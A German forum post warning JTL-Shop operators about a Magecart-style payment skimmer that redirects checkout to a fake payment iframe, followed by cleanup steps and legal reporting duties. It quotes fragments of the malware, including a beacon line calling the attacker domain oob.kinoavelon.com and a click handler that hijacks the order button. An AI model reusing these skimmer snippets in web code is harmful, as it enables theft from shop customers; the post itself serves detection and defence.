Neu 🚨 Sicherheitswarnung für JTL-Shop-Betreiber: Manipulation des Checkout-Prozesses durch externes JavaScript (Magecart- / Payment-Skimmer)

Aaron

Sehr aktives Mitglied
25. Oktober 2012
255
29
Es häufen sich die Betrugsfälle "Man in the Card" und auch hier im Forum findet man schon Vorfälle zu dem Hack z.B.:
https://forum.jtl-software.de/threa...uss-vorkasse-iframe-zahlungsumleitung.248501/

Es wurde ein aktiver Angriffsvektor identifiziert, bei dem über eine einfache Zeile externer JavaScript-Code in JTL-Shops eingeschleust wird (beispielsweise über manipulierte Datenbankeinträge, Fußzeilen-/Eigene-Boxen oder kompromittierte Drittanbieter-Plugins).

Das Besondere an dieser Bedrohung: Der Angriff erfordert keine direkte Modifikation der Core-Dateien des Shops. Sobald ein eingebundenes Plugin oder Script auf einen externen Server zugreift, der kompromittiert wurde, lässt sich dieser Angriff im Browser des Endkunden ausführen.

How it works: Funktionsweise des analysierten Schadcodes​

Bei dem analysierten Script handelt es sich um einen hochentwickelten Payment Skimmer (auch bekannt als Magecart-Angriff), der speziell auf JTL-Shop 5 (NOVA-Template) zugeschnitten ist. Das Script arbeitet in mehreren Phasen:

1. Telemetrie & Erkennung (Tracking)​

Gleich nach dem Laden sendet das Script ein unsichtbares Tracking-Pixel an eine externe Domain (oob.kinoavelon.com), um den Angriffserfolg und Informationen über den Shop zu protokollieren:

Code:
(new Image()).src='https://oob.kinoavelon.com/__utm.gif?d=[GEHACKTESHOPURL]&e=load&ts='+Date.now();

Es prüft, ob der Besucher ein Desktop- oder Mobilgerät nutzt und auf welcher Seite des Bestellprozesses er sich befindet.


2. Manipulation der Zahlungsmethoden & Rabatt-Anreiz​

  • Ausblenden von Express-Zahlungen: Auf der Warenkorbseite blendet das Script legitime Optionen wie PayPal Express aus, um den Käufer in den regulären Checkout zu zwingen.
  • Erkennung von Vorkasse / Überweisung: Das Script sucht im Checkout gezielt nach Zahlungsarten wie Vorkasse, Überweisung oder Banktransfer.
  • Gefälschter Rabatt-Hinweis: Es injiziert einen optisch hervorgehobenen Text, um den Kunden zur Auswahl der Überweisung zu verleiten:

Gleichzeitig werden shop-eigene Rabatt-Badges unterdrückt, um die Täuschung perfekt zu machen.


3. Abfangen des Kaufabschlusses (Payment Interception)​

Sobald der Kunde auf „Zahlungspflichtig bestellen“ klickt, fängt das Script das Absenden des Formulars ab (e.preventDefault()).

Anstatt die Bestellung regulär abzuwickeln, öffnet das Script ein gefälschtes Modal-Fenster mit einem iframe, der eine externe Angreifer-Plattform lädt ([https://malumpay.click](https://malumpay.click)):

Code:
// Fängt den Klick auf den Kauf-Button ab und öffnet die Fake-Zahlungsmaske
btn.addEventListener('click', function (e) {
  e.preventDefault();
  openModal(amount, onProof, onUnavailable);
});

Über diesen gefälschten Frame wird das Geld oder die Zahlungsbestätigung direkt an die Angreifer umgeleitet. Erst wenn die Eingabe im Fake-Frame abgeschlossen ist, wird die eigentliche Shop-Bestellung ausgelöst, damit der Kunde keinen Verdacht schöpft.


Schutz- und Sofortmaßnahmen für Shop-Betreiber​

  1. Quellcode & Datenbank prüfen:
    • Durchsuchen Sie die Datenbank (insbesondere Tabellen wie tbox, tboxsprache oder Plugin-Konfigurationen) sowie Template-Dateien nach unerwarteten <script src="https://...">-Einträgen.
  2. Drittanbieter-Plugins auditieren:
    • Prüfen Sie alle installierten Plugins darauf, ob diese Scripte von externen Servern/CDNs nachladen.
  3. Content Security Policy (CSP) einrichten:
    • Implementsieren Sie eine strenge CSP über den Webserver oder .htaccess. Eine CSP verhindert, dass der Browser JavaScript von nicht autorisierten externen Domains ausführt oder Unerlaubtes in iframe-Elementen lädt.
  4. Logfiles prüfen:
    • Suchen Sie in Ihren Server-Logs nach Aufrufen zu verdächtigen Domains (z. B. kinoavelon.com, malumpay.click).
  5. Passwörter & Zugänge erneuern:
    • Ändern Sie umgehend die Zugangsdaten für das JTL-Admin-Backend, Datenbanken und FTP/SSH.
  6. Backend Einträge, insbesondere Boxen im Footer prüfen ob dort Modifikationen stattgefunden haben ( Wird nicht als Dateimodifikation angezeigt )

⚠️ Wichtige Zusatzhinweise für Betroffene​

1. Ein Software-Update reicht NICHT aus!​

  • Der Schadcode bleibt aktiv: Ein Update von JTL-Shop aktualisiert lediglich die Core-Dateien. Schadcode, der in der Datenbank (z. B. in eigenen Boxen, sprachabhängigen Inhalten oder Plugin-Einstellungen) oder in indizierten Custom-Templates/Custom-Files liegt, wird durch ein Update nicht gelöscht.
  • Manuelle Bereinigung erforderlich: Der Code muss explizit in den betroffenen Tabellen oder Template-Dateien gesucht und manuell entfernt werden. Prüfen Sie zudem zwingend alle aktiven Webhooks und benutzerdefinierten JavaScript-Einbindungen im JTL-Backend.

2. Rechtliche Pflichten​

  • Prüfen Sie ob Kunden geschädigt wurden und eine Strafanzeige erstattet werden muss.
  • Wenn bei diesem Angriff potenziell Kundendaten abgefangen und Zahlungsströme manipuliert wurden, liegt in der Regel eine Verletzung des Schutzes personenbezogener Daten vor. Der Vorfall muss innerhalb von 72 Stunden der zuständigen Datenschutzbehörde gemeldet werden. Betroffene Kunden müssen ebenfalls informiert werden.

Falls Ihr Unterstützung braucht oder einen Verdacht habt, gerne melden.

Log-Daten aller Backend-Änderungen an Seiten und Boxen wären hier interessant gewesen. Die Log-Daten des Backends bleiben diesbezüglich leider aktuell noch leer.

Viele Grüße

Aaron
 
Ähnliche Themen
Titel Forum Antworten Datum
Neu PPWR für Importeure aus dem Nicht-EU-Ausland Business Jungle 0
Neu Abschaltung Bewertungserinnerung für spezifische Kunden Allgemeine Fragen zu JTL-Shop 0
Neu Suche 10–15 JTL-Shops für kostenlose JTL-Shop-Analyse (verschiedene Branchen) Dienstleistung, Jobs und Ähnliches 0
Neu Wir suchen Mitstreiter für ein gemeinsames Konfigurator-Projekt Dienstleistung, Jobs und Ähnliches 0
Neu Wir suchen Mitstreiter für ein gemeinsames Konfigurator-Projekt User helfen Usern - Fragen zu JTL-Wawi 7
In Diskussion Workflow für Erinnerungen an bevorstehende Lieferungen JTL-Workflows - Ideen, Lob und Kritik 0
Neu Wie stelle ich Retouren in JTL für DPD ein? JTL-ShippingLabels - Ideen, Lob und Kritik 1
Neu JTL Shop Plugin - BD Automatisierter Widerruf (Von Händler für Händler - Schluss mit Mail-Chaos & Spam-Sorgen!) Plugins für JTL-Shop 0
Wroker macht keinen abgleich für Kaufland JTL-Wawi 2.0 8
Neu Beta-Tester gesucht: Produktdaten aus Artikelfotos schneller für JTL/CSV vorbereiten Dienstleistung, Jobs und Ähnliches 0
Neu Kundengruppeneinstellungen für Mindestabnahme und Abnahmeintervall löschen User helfen Usern - Fragen zu JTL-Wawi 0
Neu Installationsdatei für JTL‑Wawi 1.9.6.5 Installation von JTL-Wawi 2
Wie lange braucht ihr aktuell für die Anlage eines neuen Artikels? JTL-Wawi App 3
Neu kostenlos: DHL Sendungsverfolgung für JTL-Wawi – Web-Dashboard mit Frühwarnsystem Schnittstellen Import / Export 0
In Diskussion Tool für Abrechnung von Fulfillment Dienstleistungen Arbeitsabläufe im Fulfillment Network 0
Neu Widerrufsbutton für JTL-Shop 4 Allgemeine Fragen zu JTL-Shop 17
Neu Keine Labels für Warenpost international über Packtisch JTL-ShippingLabels - Fehler und Bugs 8
Neu Laut Backend Shop Update für Shop 5.71 - Download nicht zu finden? Betrieb / Pflege von JTL-Shop 3
Neu Meta Shop seit September 2025: JTL-Lösung für neue Checkout-URL gesucht Allgemeine Fragen zu JTL-Shop 0
Angebliche externe Aufträge "für Rechnungserstellung freigeben" und Rechnungen erstellen. Gibt es dazu eine akzeptable Erklärung von JTL? JTL-Wawi 1.11 1
Neu Artikelname & Beschreibung angepasst für jeweiligen Marktplatz Arbeitsabläufe in JTL-Wawi 1
Neu OnFinds: KI-Suche für JTL-Shop mit fairer Abrechnung nach Artikelanzahl. 30 Tage kostenlos testen Plugins für JTL-Shop 10
API 2.1 für OnPrem? JTL-Wawi 2.0 6
Neu Dummy-ID oder Freiposition für Angebot mit mehrzeiliger Beschreibung JTL-Wawi - Ideen, Lob und Kritik 7
Neu Neue Kennzeichnungspflicht für Elektrogeräte (Altgeräterücknahme) Betrieb / Pflege von JTL-Shop 4
Neu Freelancer für JTL-Wawi, Shop & Prozessautomatisierung Dienstleistung, Jobs und Ähnliches 2
Neu Exportgenehmigung / Ausfuhrgenehmigung automatisch für Auslandskunden als Aufpreis Allgemeine Fragen zu JTL-Shop 2
Für Ihren SQL-Server wurde ein Service Pack zur Verfügung gestellt - nö, gelogen, wie kriege ich die Meldung weg? JTL-Wawi 1.11 15
Neu Ab welcher JTL Wawi Version ist der OnPremise REST API Endpoint POST /v2/returns oder POST /v1/returns für Create Return verfügbar? Schnittstellen Import / Export 0
Neu Seller2Go – Mobile App & JTL-Plugin für Bestellungen, Support und Produktmanagement Plugins für JTL-Shop 0
Neu Neues Plugin: Erweiterter Widerrufsbutton für JTL-Shop Plugins für JTL-Shop 9
JTL-Worker 2.0 - Einrichtung als Dienst - Auffälligkeiten und Problemlösungen für manche JTL-Wawi 2.0 3
Neu Muss man für DHL Versenden 4.0 einen neuen Benutzer bei DHL anlegen? JTL-ShippingLabels - Ideen, Lob und Kritik 2
Neu Retourenetikett für Briefe kann unter Internetmarke 2.0 nicht erstellt werden JTL-ShippingLabels - Fehler und Bugs 6
Neu Neue Tracking-URL für DPD JTL-ShippingLabels - Fehler und Bugs 4
AboutYou keine Felder für GPSR Daten SCX-(Ninepoint)-Anbindungen 0
globale Angebotsvorlage anpassen für eBay Angebote "Artikelspezifisch" JTL-Wawi 1.11 0
Neu Connectorupdates für Shopware 6.7.7 bzw 6.7.8? Shopware-Connector 39
Neu Streichpreise oder Rabatte für Staffelpreise von einem Artikel einrichten? Wie am Besten? JTL-Wawi 1.6 0
Neu Login-Fehler 403 bei app.shipping.jtl-cloud.com seit 17.07.2026 JTL-ShippingLabels - Fehler und Bugs 2
Neu JTL-Shop Konfigurator - die Ausgewählten Konfigurator gruppen werden im Artikel nicht vollständig angezeigt User helfen Usern - Fragen zu JTL-Wawi 0
Neu JTL-Shop 5 Backup Professional Plugin Plugins für JTL-Shop 0
JTL reaktiviert keine Angebote mehr auf Otto Otto.de - Anbindung (SCX) 1
Verbesserungsvorschlag: JTL-POS – Artikel mit Preisabfrage und vollständiger Wawi-Statistik JTL-Wawi 2.0 4
Neu JTL-ShippingLabels-Server ist nicht erreichbar JTL-Wawi - Fehler und Bugs 0
Neu JTL Shipping Labels 4.0 Sendungsnummer Kleinpaket nicht an Amazon übermitteln JTL-ShippingLabels - Ideen, Lob und Kritik 0
Neu Plugin trotz Hinweis Kompatibel mit JTL-Shop bis 5.6.* auch unter 5.7.2 nutzen Plugins für JTL-Shop 2
Neu Aktuelle JTL Shop Sicherheitslücke - automatischer Patch im JTL Hosting ? Allgemeine Fragen zu JTL-Shop 15
Neu JTL-Wawi 1.11.7: Shopify-PDF aus Bestellmetafeld automatisch als Auftragsanhang übernehmen Shopify-Connector 1
JTL 2.0.4: Zahlungsabgleich - Buchungen Fehlen JTL-Wawi 2.0 0

Ähnliche Themen